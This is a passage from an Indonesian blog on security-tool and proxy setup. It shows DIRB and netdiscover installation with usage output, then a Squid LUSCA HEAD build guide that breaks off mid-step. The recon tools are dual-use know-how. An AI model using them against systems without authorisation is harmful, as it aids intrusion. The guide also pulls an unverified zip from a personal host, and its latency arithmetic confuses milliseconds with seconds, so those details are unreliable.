<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ ./configure</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-5jpDXO_jzmE/UwsEUirrGpI/AAAAAAAAAjY/tnBflsT3PKk/s1600/Screenshot+from+2014-02-24+15:35:19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-5jpDXO_jzmE/UwsEUirrGpI/AAAAAAAAAjY/tnBflsT3PKk/s1600/Screenshot+from+2014-02-24+15:35:19.png" height="135" width="320" /></a></div>
<br />
Jika tidak ada kegagalan dalam tahap konfigurasi, kita bisa melakukan kompilasi source code dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ make</span></pre>
<br />
Kemudian install dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;"># make install</span></pre>
<br />
Pastikan bahwa netdiscover berjalan sebagaimana mustinya<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;"># netdiscover -i wlan0 -r 192.168.1.0/24</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-APitz0vP-f0/UwsE2g-N31I/AAAAAAAAAjg/kCu_ZSiqeGw/s1600/Screenshot+from+2014-02-24+15:37:33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-APitz0vP-f0/UwsE2g-N31I/AAAAAAAAAjg/kCu_ZSiqeGw/s1600/Screenshot+from+2014-02-24+15:37:33.png" height="135" width="320" /></a></div>
<br />
<br />
<b>DIRB</b><br />
DIRB berbeda dengan DirBuster. DIRB berbasis fully console, dengankan DirBuster berbasis JAVA. Saya lebih menyukai DIRB karena proses eksekusi lebih cepat tanpa delay inisialisasi jika dibandingkan dengan DirBuster.DIRB telah tersedia di KALI LINUX repository, jika kamu mengikuti tahap menambahkan KALI LINUX repository pada tahap sebelumnya, maka kamu sudah dapat langsung menginstall DIRB dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;"># apt-get install dirb</span></pre>
<br />
Tapi jika kamu lebih suka menginstall dari source code, kamu bisa ikuti langkah ini. Pertama download DIRB versi terbaru (saat ini versi DIRB adalah 2.2.1) di <a href="http://sourceforge.net/projects/dirb/files/latest/download">sini</a>. Kemudian extract package dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;"># </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">tar -xvf dirb221.tar.gz</span></span></pre>
<br />
Ubah working directory ke source code dirb dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ cd dirb221/</span></span></pre>
<br />
<br />
Jika anda menemukan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ cd dirb221/</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: red; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">bash: cd: dirb221/: Permission denied</span></span></pre>
<br />
Masukan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ </span></span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">chmod -R +rwx dirb221</span></span></pre>
<br />
Kemudian coba lagi<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ cd dirb221/</span></span></pre>
<br />
Lakukan konfigurasi sebelum melakukan proses kompilasi dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ ./configure</span></span></pre>
<br />
Jika tidak maka akan muncul pesan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"> DIRB 2.21 build configuration.
Now you must execute: "make" </span></span>
</pre>
<div>
<br /></div>
Kemudia compile source code dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ make</span></span></pre>
<br />
Jika tidak ada masalah, lakukan proses installasi dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"># make install</span></span></pre>
<br />
Pastikan DIRB dapat dieksekusi tanpa masalah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">$ dirb</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">-----------------
DIRB v2.21
By The Dark Raver
-----------------
./dirb <url_base> [<wordlist_file(s)>] [options]
========================= NOTES =========================
<url_base> : Base URL to scan. (Use -resume for session resuming)
<wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)
======================== HOTKEYS ========================
'n' -> Go to next directory.
'q' -> Stop scan. (Saving state for resume)
'r' -> Remaining scan stats.
======================== OPTIONS ========================
-a <agent_string> : Specify your custom USER_AGENT.
-c <cookie_string> : Set a cookie for the HTTP request.
-f : Fine tunning of NOT_FOUND (404) detection.
-H <header_string> : Add a custom header to the HTTP request.
-i : Use case-insensitive search.
-l : Print "Location" header when found.
-N <nf_code>: Ignore responses with this HTTP code.
-o <output_file> : Save output to disk.
-p <proxy[:port]> : Use this proxy. (Default port is 1080)
-P <proxy_username:proxy_password> : Proxy Authentication.
-r : Don't search recursively.
-R : Interactive recursion. (Asks for each directory)
-S : Silent Mode. Don't show tested words. (For dumb terminals)
-t : Don't force an ending '/' on URLs.
-u <username:password> : HTTP Authentication.
-v : Show also NOT_FOUND pages.
-w : Don't stop on WARNING messages.
-X <extensions> / -x <exts_file> : Append each word with this extensions.
-z <milisecs> : Add a miliseconds delay to not cause excessive Flood.
======================== EXAMPLES =======================
./dirb http://url/directory/ (Simple Test)
./dirb http://url/ -X .html (Test files with '.html' extension)
./dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test with apache.txt wordlist)
./dirb https://secure_url/ (Simple Test with SSL)
</span></span></pre>
<div>
<span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"><br /></span></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-pbqKfrTmaUc/Uw7uktK9XtI/AAAAAAAAAnA/JdCRnqM3Erk/s1600/Screenshot+from+2014-02-27+14:45:40.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-pbqKfrTmaUc/Uw7uktK9XtI/AAAAAAAAAnA/JdCRnqM3Erk/s1600/Screenshot+from+2014-02-27+14:45:40.png" height="320" width="304" /></a></div>
<span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"><br /></span></span></div>
<br />
<b><i>Comming soon</i></b><br />
<b><i>How to install Metasploit, Exploit-DB, VMWare Player or VMWare Workstation</i></b>Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-41722264857903697482014-02-25T17:36:00.000+07:002014-02-25T17:38:06.515+07:00Installing Squid LUSCA HEAD On BACKTRACKProxy. Banyak orang yang pernah mendengar hal ini namun tidak tau apa fungsinya. Singkatnya, proxy hanya penghubung dari client ke server. Gambarannya terlihat seperti ini.<span class="fullpost">
</span><br />
<div>
<br /></div>
<div>
Tanpa Proxy</div>
<div>
<br /></div>
<div>
Client -> [Give me Google Page] -> Google</div>
<div>
Client -> [Google Page] -> Google</div>
<div>
<br /></div>
<div>
Keterangan:</div>
<div>
1. Client meminta halaman google LANGSUNG ke google.</div>
<div>
2. Google memberikan halamannya kepada client.</div>
<div>
<br /></div>
<div>
Dengan Proxy</div>
<div>
<br /></div>
<div>
Client -> [Give me Google Page] -> Proxy -> [Give me Google Page] -> Google</div>
<div>
Client <- [Google Page] <- Proxy <- [Google Page] <- Google</div>
<div>
<br /></div>
<div>
Keterangan:</div>
<div>
1. Client meminta halaman google kepada proxy</div>
<div>
2. Proxy meminta halaman google yang diminta oleh client</div>
<div>
3. Google memberikan halamannya kepada proxy</div>
<div>
4. Proxy memberikan halaman yang diberikan google kepada client</div>
<div>
<br /></div>
<div>
Lalu apa keuntungan menggunakan proxy?</div>
<div>
<br /></div>
<div>
Kita buat sebuah kondisi seperti ini:</div>
<div>
1. Anda mendapat respon ping google sebesar 400 ms. Ini berarti anda harus menunggu selama 400 detik sampai anda mendapat respon dari google. Hal ini terjadi bukan karena buruknya service dari google, melainkan DNS anda yang terlalu lama mencari domain google.</div>
<div>
2. Sebuah proxy server mendapat respon dari google sebesar 53 ms. Ini berarti dibutuhkan waktu 53 ms bagi proxy server untuk mendapat respon dari google.</div>
<div>
3. Anda mendapat respon 100 ms dari proxy server. Ini berarti bla-bla-bla. [You know what I mean, don't you? No?! Fuck then!]</div>
<div>
<br /></div>
<div>
Jika anda tidak menggunakan layanan proxy, anda akan membutuhkan waktu 4 detik untuk membuka halaman google. Jika anda menggunakan layanan proxy, anda akan membutuhkan waktu 1.5 detik untuk membuka halaman google.</div>
<div>
<br /></div>
<div>
Mengapa SQUID?</div>
<div>
<br /></div>
<div>
Kelebihan squid yang paling saya suka adalah penyimpanan cache sebuah halaman web nya yang baik. Cara kerjanya seperti ini.</div>
<div>
<br /></div>
<div>
Web Content:</div>
<div>
1. Image</div>
<div>
2. JS</div>
<div>
3. Video</div>
<div>
4. Text</div>
<div>
<br /></div>
<div>
Ketika anda berusaha memuat halaman web, secara otomatis anda akan memuat keempat elemen ini. Artinya jika anda meminta proxy untuk mengambil web content ini, proxy akan menyimpan keempat elemen ini dalam sebuah directory cache. Untuk apa? Tentu saja untuk dipanggil kembali.</div>
<div>
<br /></div>
<div>
First Request</div>
<div>
Clent's requests:</div>
<div>
1. Image</div>
<div>
2. JS</div>
<div>
3. Video</div>
<div>
4. Text</div>
<div>
<br /></div>
<div>
Proxy Check Cache Directory:</div>
<div>
1. Image [None]</div>
<div>
2. JS [None]</div>
<div>
3. Video [None]</div>
<div>
4. Text [None]</div>
<div>
<br /></div>
<div>
Karena permintaan ini baru dilakukan sekali, maka proxy tidak menemukan elemen ini di dalam directory cache. Kemudian proxy meminta keempat elemen ini ke web server [dibutuhkan waktu 53ms]. Jika sudah, maka proxy akan menemukan keempat elemen ini di dalam directory cache, sehingga proxy tidak perlu meminta kembali keempat elemen [tidak butuh permintaan ke server = tidak butuh waktu = reload 0 detik].</div>
<div>
<br /></div>
<div>
Sudah siap memasang squid di dalam backtrack anda? Let's rock!</div>
<div>
<br /></div>
<div>
Dependencies:</div>
<div>
<br /></div>
<div>
<div>
1. squid</div>
<div>
2. squidclient</div>
<div>
3. squid-cgi</div>
<div>
4. gcc</div>
<div>
5. build-essential</div>
<div>
6. sharutils</div>
<div>
7. ccze</div>
<div>
8. libzip-dev</div>
<div>
9. automake1.9</div>
</div>
<div>
<br /></div>
<div>
Walkthrough:</div>
<div>
<a name='more'></a><b>1. Install dependencies</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[~]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">apt-get update ; apt-get install </span></b></span><span style="color: lime;"><span style="line-height: 18px;"><b>squid squidclient squid-cgi gcc build-essential sharutils ccze libzip-dev automake1.9 --yes</b></span></span></span></code></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>2. Download Squid LUSCA HEAD Source</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[~]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">cd /tmp/ ; wget "</span></b></span><span style="color: lime;"><span style="line-height: 18px;"><b>http://lusca-cache.googlecode.com/files/LUSCA_HEAD-r14809.tar.gz"</b></span></span></span></code></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>3. Extract source</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[/tmp]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">tar -xvf LUSCA_HEAD-r14809.tar.gz</span></b></span></code></div>
</div>
<div>
<br /></div>
<div>
<b>4. Configuring</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[/tmp]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">cd LUSCA_HEAD-r14809 ; ./configure </span></b></span><span style="color: lime;"><span style="line-height: 18px;"><b>'--prefix=/usr' '--exec_prefix=/usr' '--bindir=/usr/sbin' '--sbindir=/usr/sbin' '--libexecdir=/usr/lib/squid' '--sysconfdir=/etc/squid' '--localstatedir=/var/spool/squid' '--datadir=/usr/share/squid' '--enable-async-io=24' '--with-aufs-threads=24' '--with-pthreads' '--enable-storeio=coss,aufs' '--enable-linux-netfilter' '--enable-arp-acl' '--enable-epoll' '--with-aio' '--with-dl' '--enable-snmp' '--disable-delay-pools' '--enable-htcp' '--enable-cache-digests' '--disable-unlinkd' '--enable-large-cache-files' '--with-large-files' '--enable-err-languages=English' '--enable-default-err-language=English' '--with-maxfd=65536' '--enable-removal-policies=lru' '--enable-removal-policies=heap' 'CFLAGS=-march=core2 -O2 -pipe -fomit-frame-pointer'</b></span></span></span></code></div>
</div>
<div>
<br /></div>
<div>
<b>5. Compiling</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[/tmp/</span></b></span><span style="color: cyan; font-family: Monaco, Consolas, Courier, monospace;"><span style="line-height: 18px;"><b>LUSCA_HEAD-r14809</b></span></span><b style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">make</span></b></code></div>
</div>
<div>
<br /></div>
<div>
<b>6. Installing</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[/tmp/</span></b></span><span style="color: cyan; font-family: Monaco, Consolas, Courier, monospace;"><span style="line-height: 18px;"><b>LUSCA_HEAD-r14809</b></span></span><b style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">make install</span></b></code></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>7. Setup SQUID</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[/tmp/</span></b></span><span style="color: cyan;"><span style="line-height: 18px;"><b>LUSCA_HEAD-r14809</b></span></span><b style="line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">cd /etc/squid ; wget "</span></b><span style="color: lime;"><span style="line-height: 18px;"><b>http://t193r.googlecode.com/files/squid.zip" ; unzip squid.zip</b></span></span></span></code></div>
</div>
<div>
<br /></div>
<div>
Password = red-dragon</div>
<div>
<br /></div>
<div>
<b><br /></b></div>
<div>
<b>8. Create cache directory</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Courier New, Courier, monospace; font-size: x-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[/tmp/</span></b></span><span style="color: cyan;"><span style="line-height: 18px;"><b>LUSCA_HEAD-r14809</b></span></span><b style="line-height: 18px;"><span style="color: cyan;">]</span><span style="color: red;"> </span><span style="color: yellow;">→</span><span style="color: red;"> </span><span style="color: lime;">cd / ; mkdir squid ; cd /squid ; mkdir log ; mkdir cache ; touch /squid/log/access.log; touch /squid/log/error.log ; chown -R proxy:proxy /squid</span></b></span></code></div>
</div>
<div>
<br /></div>
<div>
<b><br /></b></div>
<div>
<b>9. Parsing Squid Configuration</b></div>
<div>
<br /></div>
<div>
<div class="title" style="background-color: black; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; color: green; font-family: Verdana, Arial, sans-serif; font-size: 13px; font-weight: bold; line-height: 18px; margin: 4px 0px;">
Command :</div>
<div class="body" dir="ltr" style="background-color: black;">
<code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="color: white; display: block; font-family: 'Courier New', Courier, FreeMono, monospace; font-size: 13px; height: auto; line-height: 18px; max-height: 200px; overflow: auto;"><span style="color: red; font-family: Monaco, Consolas, Courier, monospace; font-size: xx-small;"><b></b></span></code><code style="display: block; height: auto; max-height: 200px; overflow: auto;"><span style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><b><span style="color: red;">red-dragon </span><span style="color: cyan;">[~</span></b></span><b style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"><span style="color: cyan;">]</span><span 